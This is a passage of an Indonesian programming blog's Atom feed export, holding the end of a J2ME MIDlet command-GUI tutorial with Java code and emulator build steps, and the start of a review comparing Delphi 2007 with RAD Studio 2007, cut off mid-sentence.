none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;else if (label.equals(&amp;#8221;Drafts&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   showDraftForm();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;else if (label.equals(&amp;#8221;Sent Messages&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   showSentForm();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;else if (label.equals(&amp;#8221;Exit&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   destroyApp(true);&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;else if (label.equals(&amp;#8221;Back&amp;#8221;))&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;   mainMenu();&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #008000"&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == writeCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   showWriteForm();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == inboxCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   showInboxForm();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == outboxCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   showOutboxForm();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == draftsCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   showDraftForm();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == sentCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   showSentForm();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == exitCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   destroyApp(&lt;span style="color: #0000ff"&gt;true&lt;/span&gt;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;else&lt;/span&gt; &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (c == backCommand)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;   mainMenu();&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;      &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Setelah selesai mengetik kode program aplikasi mobile (MIDlet), maka kode program harus kita simpan pada sub direktori src dari direktori project kita.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;strong&gt;#3: Build and Test&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;Langkah terakhir adalah melakukan proses build dan test menggunakan Sony Ericsson SDK 2.2.3 for the Java(TM) ME Platform KToolbar. Proses build sendiri sebenarnya terdiri dari beberapa langkah, yaitu kompilasi sehingga file .java kita nantinya menjadi .class dan pre-verify untuk memfilter class-class yang invalid yang hasilnya berupa file .jar. Setelah selesai proses build, maka langkah selanjutnya adalah melakukan test dengan menggunakan emulator yang tersedia. Hasilnya test-nya adalah sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img border="0" src="http://inf.uajy.ac.id/%7Esigit/images/mobile-gui-cmd-emulator-SEW800.png" width="406" height="763" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;small&gt;Testing dengan Emulator Sony Ericsson W800&lt;/small&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img border="0" src="http://inf.uajy.ac.id/%7Esigit/images/mobile-gui-cmd-emulator-WTK25.png" width="322" height="727" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;small&gt;Testing dengan Emulator Sun JAVA(TM) Wireless Toolkit 2.5&lt;/small&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://inf.uajy.ac.id/%7Esigit/download-manager.php?id=2"&gt;Download File Tutorial&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;source : &lt;a href="http://inf.uajy.ac.id/~sigit/2008/03/06/tutorial-gui-untuk-aplikasi-mobile-midlet-command/" target="_blank"&gt;inf.uajy.ac.id&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;  &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:a1302a36-4fe6-4491-88c8-9df27a00adcb" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/midlet" rel="tag"&gt;midlet&lt;/a&gt;,&lt;a href="http://technorati.com/tags/java" rel="tag"&gt;java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/mobile" rel="tag"&gt;mobile&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-6291342587737539863?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/6291342587737539863/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=6291342587737539863&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6291342587737539863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6291342587737539863'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/tutorial-gui-untuk-aplikasi-mobile.html' title='Tutorial GUI untuk Aplikasi Mobile (MIDlet): Command'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1269589846475129885</id><published>2008-03-17T10:00:00.001+07:00</published><updated>2008-03-17T10:00:03.265+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><category scheme='http://www.blogger.com/atom/ns#' term='Review'/><title type='text'>Compare Delphi 2007 terhadap RAD Studio 2007</title><content type='html'>&lt;p align="justify"&gt;Kali ini saya akan memberikan sedikit review tentang perbandingan daripada Delphi 2007 dan RAD Studio 2007, tentu saja disini bukan bicara karena fitur yang ada melainkan lebih saya condongkan dari sisi tepat gunanya sesuai dengan kebutuhan developer.&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Apabila ada salah mengenai review yang saya berikan itu adalah hal yang wajar, karena saya hanya menganalisa dari sisi penggunaannya bukan dari sisi pembuatan Delphi 2007 ataupun RAD Studio 2007 dan itu jelas bukan wewenang saya. Semoga review ini bisa memberikan gambaran kepada anda untuk memilih Delphi 2007 atau RAD Studio 2007 untuk memenuhi kebutuhan pengembangan software anda.&lt;/p&gt;  &lt;p align="justify"&gt;Sudah sangat jelas bahwasanya RAD Studio 2007 memiliki fitur yang jauh lebih banyak daripada Delphi 2007 dilihat dari sisi versi yang sama. Kebetulan untuk produk-produk tersebut memiliki 3 versi yang sama yaitu Profesional, Enterprise dan Architect. Mungkin dari pihak codegear, devisi Borland yang khusus menangani Developer, sendiri membuat versi tersebut agar semua pasar bisa mereka cover.&lt;/p&gt;  &lt;p align="justify"&gt;Codegear sebenarnya juga telah meluncurkan versi free dan bukan trial yaitu Turbo Delphi yang ada dua kategori yaitu Turbo Delphi for win32 dan Turbo Delphi untuk .NET. Kali ini saya tidak akan membahas lebih jauh tentang produk Turbo Delphi ini.&lt;/p&gt;  &lt;p align="justify"&gt;Secara kasat mata sangat jelas kalau Delphi 2007 itu merupakan bagian paket dari RAD Studio 2007. RAD Studio 2007 berisi &lt;b&gt;Delphi 2007 for win32, Delphi 2007 for .NET&lt;/b&gt; dan &lt;b&gt;C++ Builder&lt;/b&gt;. Bahkan baru-baru ini Codegear lagi-lagi memberikan &lt;a href="http://dn.codegear.com/article/37617"&gt;promo&lt;/a&gt; dengan membeli produk &lt;b&gt;RAD Studio 2007&lt;/b&gt; mendapatkan bonus &lt;b&gt;Delphi for PHP&lt;/b&gt;secara gratis hingga 15 Maret 1008. &lt;/p&gt;  &lt;p align="justify"&gt;Secara kebutuhan dari rata-rata developer delphi di Indonesia biasanya adalah developer yang berhubungan dengan Desktop Application dan saya jarang sekali menjumpai sebuah aplikasi WEB dibangun dengan menggunakan Delphi. Saya nggak tahu apakah memang analisa saya ini benar atau bukan, bahwa rata-rata web dibangun dengan melihat url-nya masih didominasi dengan php, visual studio dan lain-lain.&lt;/p&gt;  &lt;p align="justify"&gt;Sehingga dengan demikian, maka developer sangatlah cocok untuk memilih produk Delphi 2007 for win32, hal ini dikarenakan karena Delphi 2007 for .NET dan C++ Builder tidak akan terpakai dan malah terkesan memperlambat program aplikasi saat develop. Seandainya codegear menjual versi khusus Delphi for .NET, mungkin hal ini juga bisa menambah pasar developer. Tapi sayang&amp;#8230; kelihatannya itu tidak mungkin, karena andalan untuk codegear adalah RAD Studio untuk kategori .NET-nya dan memang RAD Studio itu adalah versi .NET-nya. Seperti halnya Microsoft Visual Studio dan produk Desktop-nya dengan Visual Basic.&lt;/p&gt;  &lt;p align="justify"&gt;Sekarang saya akan mereview khusus produk Delphi 2007 ditinjau dari sisi fitur dan kemampuannya saat proses develop. Kedua versi ini sama-sama memiliki kelebihan dengan memiliki performance yang sangat tinggi di OS 32-bit. Keduanya juga sama-sama sudah support terhadap sistem operasi windows Vista. Berbeda dengan versi Delphi 7 yang bisa diinstall di vista namun mengalami banyak konflik dan mengakibatkan program delphi-nya sendiri menjadi tidak stabil.&lt;/p&gt;  &lt;p align="justify"&gt;Kemudian di Produk Delphi 2007 ini juga sudah disupport dengan fitur AJAX, dimana kita sebagai developer bisa membuat program aplikasi desktop yang jalan di Webbrowser dengan hanya drag and drop saja. Sungguh ini menjadi terobosan luar biasa di kalangan developer delphi, terutama di Indonesia. Tapi sayangnya bagi pengguna versi profesional hanya dapat menikmati untuk fitur develop untuk web page saja, sedangkan untuk versi enterprise selain bisa digunakan untuk develop web page dengan ajax juga dilengkapi RAD untuk aplikasi web secara lengkap.&lt;/p&gt;  &lt;p align="justify"&gt;Perbedaan antara versi Enterprise dan Profesional terletak pada bagian koneksi databasenya. Jika di versi Enterprise dapat melayani banyak sekali koneksi database seperti dbExpress server ke Interbase 2007, dbExpress server ke Oracle 10g, dbExpress server ke MS SQL Server 2000 dan MS SQL Server 2005, dbExpress server ke Informix 9x, dbExpress server IBM DB2 8.x, dbExpress server ke SQL Anywhere 9, dbExpress server ke Sybase 12.5 serta dbExpress server ke MySQL 4.1 dan 5.0. Itu semua tidak berlaku pada versi profesional, namun kalau hanya untuk kebutuhan database biasa seperti MS SQL Server, MySQL anda bisa menggunakan ADO dan komponen tambahan yang dijual dipasaran.&lt;/p&gt;  &lt;p align="justify"&gt;Jika dibandingkan lagi dengan RAD Studio 2007 dan Delphi 2007 secara fitur tidaklah sebanding. Tapi 